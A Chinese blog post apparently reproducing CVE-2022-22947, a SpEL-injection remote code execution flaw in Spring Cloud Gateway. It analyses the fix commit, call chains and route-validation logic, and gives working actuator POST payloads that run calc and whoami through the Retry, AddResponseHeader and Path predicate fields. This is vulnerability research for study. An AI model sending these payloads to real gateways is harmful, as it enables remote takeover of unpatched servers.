Spring Cloud Gateway SPEL RCE复现-CVE-2022-22947
说明:此篇记录SpringCloud Gateway相关的SPEL表达式导致的RCE复现过程,相关的内容来自互联网,本篇仅做记录。
1 SpringCloud Gateway的漏洞介绍
Spring Cloud Gateway 是Spring Cloud的一个全新的API网关项目,目的是为了替换掉Zuul1,它基于Spring5.0 + SpringBoot2.0 + WebFlux(基于性能的Reactor模式响应式通信框架Netty,异步阻塞模型)等技术开发,性能于Zuul,官测试,Spring Cloud GateWay是Zuul的1.6倍 ,旨在为微服务架构提供种简单有效的统的API路由管理式。可以与Spring Cloud Discovery Client(如Eureka)、Ribbon、Hystrix等组件配合使用,实现路由转发、负载均衡、熔断、鉴权、路径重写、志监控等。Gateway还内置了限流过滤器,实现了限流的功能。设计优雅,容易拓展
SpringCloud的核心流程
2 漏洞相关的介绍
根据github相关的源码介绍:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
源码的修改记录如下:
通过源码可以看到,代码将SPEL的StandardEvaluationContext 修改为了SimpleEvaluationContext,因此可以猜出之前的问题主要是由于SPEL表达式导致的。
2.1 SPEL表达式介绍
SPEL表达式介绍,可以参考之前的文章:https://moonsec.top/articles/64
2.2 漏洞的复现
环境搭建
影响范围:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7
p牛的vulhub已经搭好docker了,https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
也可以本地搭建
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然后idea打开项目,再调试或启动
2.3 调用过程分析
1、非常标准的spel表达式使用,代码在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其调用位置
2、既然此处会被执行SpEL表达式,那就可以查看都有哪些地方对此进行调用,可以选中getValue方法并且ctrl+alt+h即可查看被调用情况,可以看到有三个枚举常数对getValue方法进行调用并且都在ShortcutConfigurable接口中,而且三处都对normalize方法进行重写
3、继续向上追踪,查看哪些地方对normalize方法进行了调用,这次进入到了ConfigurationService类的内部类ConfigurableBuilder中的normalizeProperties方法,而normalizeProperties方法调用了normalize方法
4、ConfigurationService类的内部类AbstractBuilder中的bind方法调用了normalizeProperties方法
5、而bind方法被五处地方所引用:
- AbstractRateLimiter类中的onApplicationEvent方法
- RouteDefinitionRouteLocator类中的loadGatewayFilters方法与lookup方法
- WeightCalculatorWebFilter类中的handle方法
- BetweenRoutePredicateFactoryTests类中的bindConfig方法
主要关注loadGatewayFilters方法
6、loadGatewayFilters 方法
查看loadGatewayFilters 的调用方式
loadGatewayFilters方法继续向前路径为:loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()
整个的调用链为
getValue:273, Spelexpression (org.springframework.expression.spel.standard) getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) ...
通过IDEA的调用链也可以很容易的发现下图所示的调用关系:
即:
在@GetMapping("/routes/{id}") 和 @GetMapping("/routes") 两个controller 方法中都可以最终调用到SPEL中的getValue方法。
通过下表的Gateway接口,可以看到Gateway支持很多接口:
2.4 RCE调用链接口分析
1、根据上述步骤6的接口分析,查看Gateway的接口官方spec 说明:
2、Gateway的接口请求返回的接口如下所示:
/actuator/gateway/routes 返回的结果:
[{ "route_id": "first_route", "route_object": { "predicate": "org.springframework.cloud.gateway.handler.predicate.PathRoutePredicateFactory$$Lambda$432/1736826640@1e9d7e7d", "filters": [ "OrderedGatewayFilter{delegate=org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory$$Lambda$436/674480275@6631ef72, order=0}" ] }, "order": 0 }, { "route_id": "second_route", "route_object": { "predicate": "org.springframework.cloud.gateway.handler.predicate.PathRoutePredicateFactory$$Lambda$432/1736826640@cd8d298", "filters": [] }, "order": 0 }]
/actuator/gateway/routes/{id} 返回结果
{ "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }]
可以发现两个接口返回的内容格式是一致的,只是返回的内容不一致。/actuator/gateway/routes/{id} 会返回对应的id的内容。
3、通过Get请求的接口可知道如果需要rce,肯定要提交一个自己的route,然后进行访问。查看对应的spec文档
按照官方的说法,创建router的请求参数和get的是一样的。
但是get请求的 "filters": [],参数为空,并没有说明参数的类型。
4、查看post的接口
参考上述的post的参数,查看下该post接口,该接口通过validateRouteDefinition进行传入的参数校验。
跟进isAvailable 查看进行校验的规则
对应的校验逻辑是:RouteDefinition-->getFileter-->getName --> 判断和GatewayFilters.getName 是否相等。
其中RouteDefinition为我们刚才传入的参数,如下所示:
{ "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }]
调试下GatewayFilters 为哪些,在post时候只要加入即可通过校验,在校验的isAvailable方法中下个断点
打印出全部的相关GatewayFileters 名称:
for(int i = 0;i<((ArrayList)this.GatewayFilters).size();i++){ System.out.println(this.GatewayFilters.get(i).name()); } 打印出的参数 [AddRequestHeaderGatewayFilterFactory@234c5e41 configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig] AddRequestHeader [MapRequestHeaderGatewayFilterFactory@40ef0af8 configClass = MapRequestHeaderGatewayFilterFactory.Config] MapRequestHeader [AddRequestParameterGatewayFilterFactory@36790bec configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig] AddRequestParameter [AddResponseHeaderGatewayFilterFactory@461c3709 configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig] AddResponseHeader [ModifyRequestBodyGatewayFilterFactory@7e3d7dd configClass = ModifyRequestBodyGatewayFilterFactory.Config] ModifyRequestBody [DedupeResponseHeaderGatewayFilterFactory@3f63a513 configClass = DedupeResponseHeaderGatewayFilterFactory.Config] DedupeResponseHeader [ModifyResponseBodyGatewayFilterFactory@413bef78 configClass = ModifyResponseBodyGatewayFilterFactory.Config] ModifyResponseBody [CacheRequestBodyGatewayFilterFactory@66383c29 configClass = CacheRequestBodyGatewayFilterFactory.Config] CacheRequestBody [PrefixPathGatewayFilterFactory@7f7c420c configClass = PrefixPathGatewayFilterFactory.Config] PrefixPath [PreserveHostHeaderGatewayFilterFactory@5d152bcd configClass = Object] PreserveHostHeader [RedirectToGatewayFilterFactory@43cb5f38 configClass = RedirectToGatewayFilterFactory.Config] RedirectTo [RemoveRequestHeaderGatewayFilterFactory@6435fa1c configClass = AbstractGatewayFilterFactory.NameConfig] RemoveRequestHeader [RemoveRequestParameterGatewayFilterFactory@7944b8b4 configClass = AbstractGatewayFilterFactory.NameConfig] RemoveRequestParameter [RemoveResponseHeaderGatewayFilterFactory@d7bbf12 configClass = AbstractGatewayFilterFactory.NameConfig] RemoveResponseHeader [RewritePathGatewayFilterFactory@1450131a configClass = RewritePathGatewayFilterFactory.Config] RewritePath [RetryGatewayFilterFactory@5f7eee96 configClass = RetryGatewayFilterFactory.RetryConfig] Retry [SetPathGatewayFilterFactory@3a36cd5 configClass = SetPathGatewayFilterFactory.Config] SetPath [SecureHeadersGatewayFilterFactory@53f0d09c configClass = SecureHeadersGatewayFilterFactory.Config] SecureHeaders [SetRequestHeaderGatewayFilterFactory@47acd13b configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig] SetRequestHeader [SetRequestHostHeaderGatewayFilterFactory@6f8e9d06 configClass = SetRequestHostHeaderGatewayFilterFactory.Config] SetRequestHostHeader [SetResponseHeaderGatewayFilterFactory@77d381e6 configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig] SetResponseHeader [RewriteResponseHeaderGatewayFilterFactory@2272cbb0 configClass = RewriteResponseHeaderGatewayFilterFactory.Config] RewriteResponseHeader [RewriteLocationResponseHeaderGatewayFilterFactory@3f6f3cc configClass = RewriteLocationResponseHeaderGatewayFilterFactory.Config] RewriteLocationResponseHeader [SetStatusGatewayFilterFactory@180b3819 configClass = SetStatusGatewayFilterFactory.Config] SetStatus [SaveSessionGatewayFilterFactory@733c464f configClass = Object] SaveSession [StripPrefixGatewayFilterFactory@47272cd3 configClass = StripPrefixGatewayFilterFactory.Config] StripPrefix [RequestHeaderToRequestUriGatewayFilterFactory@73fbdf68 configClass = AbstractGatewayFilterFactory.NameConfig] RequestHeaderToRequestUri [RequestSizeGatewayFilterFactory@32f1fafe configClass = RequestSizeGatewayFilterFactory.RequestSizeConfig] RequestSize [RequestHeaderSizeGatewayFilterFactory@236eccd1 configClass = RequestHeaderSizeGatewayFilterFactory.Config] RequestHeaderSize
这里的每种name,实际上又对应了不同的GatewayFilterFactory,我们选择一个Retry来做个验证。
5、Retry 的RCE
构造基于Retry 的RCE
POST /actuator/gateway/routes/testw HTTP/1.1 Host: 192.168.43.8:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 Edg/103.0.1264.49 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close Content-Type: application/json Content-Length: 475 { "id": "testw", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [ { "name":"Retry", "args": { "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"cmd \", \"/C\", \" calc\"}).getInputStream()))}", "name": "cmd123" } } ], "uri": "https://www.uri-destination.org", "order": 0 }]
刷新路由,即可触发RCE,弹出计算器
PS:此处刷新路由,是因为Gateway如果让路由生效,必须进行刷新才行。刷新后路由自动加载。
请求该路由信息
++6、我们回过头了看看为啥会触发该RCE++
在2.3 中咱们分析了调用过程,下面咱们来看看为何可以触发该RCE
根据Debug调试的逻辑:
从该refresh逻辑跟进
通过该逻辑向上回溯,发现调用了refresh方法
继续跟进,发现调用了org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute
在convertToRoute中getFilters获取各个router的routeDefinition
routeDefinition即为我们post中传入的参数,如我们传入的如下参数
在getFilters 中添加全部的过滤器,比如我们的传入的
org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters 中加载我们的过滤器以及参数
在definition.getArgs() 加载所有的args
然后通过normalizeProperties---> normalize 中getvalue
在getValue中执行对应的SPEL表达式,进而触发RCE。
相关的调用链如下:
getValue:57, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) apply:-1, 1641677843 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$849) onNext:106, FluxMap$MapSubscriber (reactor.core.publisher) tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher) onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher) drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeWith:4515, Mono (reactor.core.publisher) subscribe:4371, Mono (reactor.core.publisher) subscribe:4307, Mono (reactor.core.publisher) subscribe:4279, Mono (reactor.core.publisher) onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event) invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event) multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event) publishEvent:421, AbstractApplicationContext (org.springframework.context.support) publishEvent:378, AbstractApplicationContext (org.springframework.context.support) refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
至此 Retry 走马观花的分析完成。
2.5 其他的调用链分析
Retry 属于 不可回显的RCE调用链,如果想要回显,可以使用AddResponseHeader,相关的调用如下:
AddRequestParameter
[ModifyRequestBodyGatewayFilterFactory@7e3d7dd configClass = ModifyRequestBodyGatewayFilterFactory.Config]
因为在org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory#apply 时候会向返回消息中出入运行的数据信息
对应的请求信息如下:
{ "id": "test1", "filters": [ { "name": "AddResponseHeader", "args": { "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}", "name": "cmd123" } } ], "uri": "http://aaa.com", "order": 0 }
响应信息如下:
3、 perdicaters的链分析
3.1 predicates分析
1、根据https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-retrieving-information-about-a-particular-route
文档的描述,有个predicates 的参数相关的描述
上一篇主要写了这个默认为空的filters 参数
2、分析过程参考上章节
在post打个断点
上一节中,咱们光分析了post中validateRouteDefinition方法中的routeDefinition.getFilters(),没有分析routeDefinition.getPredicates(),因为该predicates内容默认可以通过过滤器,因此上节的post请求可以正常提交到服务器后台
{ "id": "testw", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [ { "name":"Retry", "args": { "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"cmd \", \"/C\", \" calc\"}).getInputStream()))}", "name": "cmd123" } } ], "uri": "https://www.uri-destination.org", "order": 0 }]
3、咱们看下routeDefinition.getPredicates()的验证内容
老方法,咱们看下啥参数可以绕过
对应的名称和方法如下
After [AfterRoutePredicateFactory@3becc950 configClass = AfterRoutePredicateFactory.Config] Before [BeforeRoutePredicateFactory@6b9fdbc6 configClass = BeforeRoutePredicateFactory.Config] Between [BetweenRoutePredicateFactory@79476a4e configClass = BetweenRoutePredicateFactory.Config] Cookie [CookieRoutePredicateFactory@52ae997b configClass = CookieRoutePredicateFactory.Config] Header [HeaderRoutePredicateFactory@f557c37 configClass = HeaderRoutePredicateFactory.Config] Host [HostRoutePredicateFactory@1a01d7f0 configClass = HostRoutePredicateFactory.Config] Method [MethodRoutePredicateFactory@5856dbe4 configClass = MethodRoutePredicateFactory.Config] Path [PathRoutePredicateFactory@7e15f4d4 configClass = PathRoutePredicateFactory.Config] Query [QueryRoutePredicateFactory@5a058be5 configClass = QueryRoutePredicateFactory.Config] ReadBody [ReadBodyRoutePredicateFactory@4eaf7902 configClass = ReadBodyRoutePredicateFactory.Config] RemoteAddr [RemoteAddrRoutePredicateFactory@20c812c8 configClass = RemoteAddrRoutePredicateFactory.Config] Weight [WeightRoutePredicateFactory@71aaf151 configClass = WeightConfig] CloudFoundryRouteService [CloudFoundryRouteServiceRoutePredicateFactory@7061622 configClass = Object]
由于咱们写的为Path,因此可以改过滤器正常
4 RCE分析
4.1 复现过程
1、咱们参考上述章节,构造一个参数为Path的请求
{ "id": "testw2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"#{T(java.lang.Runtime().exec(\"calc\"))}"} }], "filters": [ ], "uri": "https://www.uri-destination.org", "order": 0 }]
请求成功
2、刷新请求
rce成功
3.2 分析
1、咱们在SPEL表达执行的地方打个断点
2、可以看到最终执行了
因此RCE成功了
3、咱们往前看,看下过程
从refresh看
4、在org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute 方法调用了combinePredicates(routeDefinition),由于filter为空
因此结果只有predicate
5、在combinePredicates中之取到一个对象
6、然后调用normalizeProperties-->normalize-->对第五部的每个对象的getvalue
7、最终触发RCE
8、相关的调用链
getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support) lambda$normalize$0:140, ShortcutConfigurable$ShortcutType$3 (org.springframework.cloud.gateway.support) apply:-1, 390531259 (org.springframework.cloud.gateway.support.ShortcutConfigurable$ShortcutType$3$$Lambda$977) accept:193, ReferencePipeline$3$1 (java.util.stream) forEachRemaining:1384, ArrayList$ArrayListSpliterator (java.util) copyInto:482, AbstractPipeline (java.util.stream) wrapAndCopyInto:472, AbstractPipeline (java.util.stream) evaluateSequential:708, ReduceOps$ReduceOp (java.util.stream) evaluate:234, AbstractPipeline (java.util.stream) collect:499, ReferencePipeline (java.util.stream) normalize:141, ShortcutConfigurable$ShortcutType$3 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) lookup:216, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) combinePredicates:189, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:116, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) apply:-1, 1641418296 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$849) onNext:106, FluxMap$MapSubscriber (reactor.core.publisher) tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher) onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher) drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeWith:4515, Mono (reactor.core.publisher) subscribe:4371, Mono (reactor.core.publisher) subscribe:4307, Mono (reactor.core.publisher) subscribe:4279, Mono (reactor.core.publisher) onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event) invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event) multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event) publishEvent:421, AbstractApplicationContext (org.springframework.context.support) publishEvent:378, AbstractApplicationContext (org.springframework.context.support) refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
参考
1、https://moonsec.top/articles/64
2、https://nosec.org/home/detail/5008.html
3、https://paper.seebug.org/1878/
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析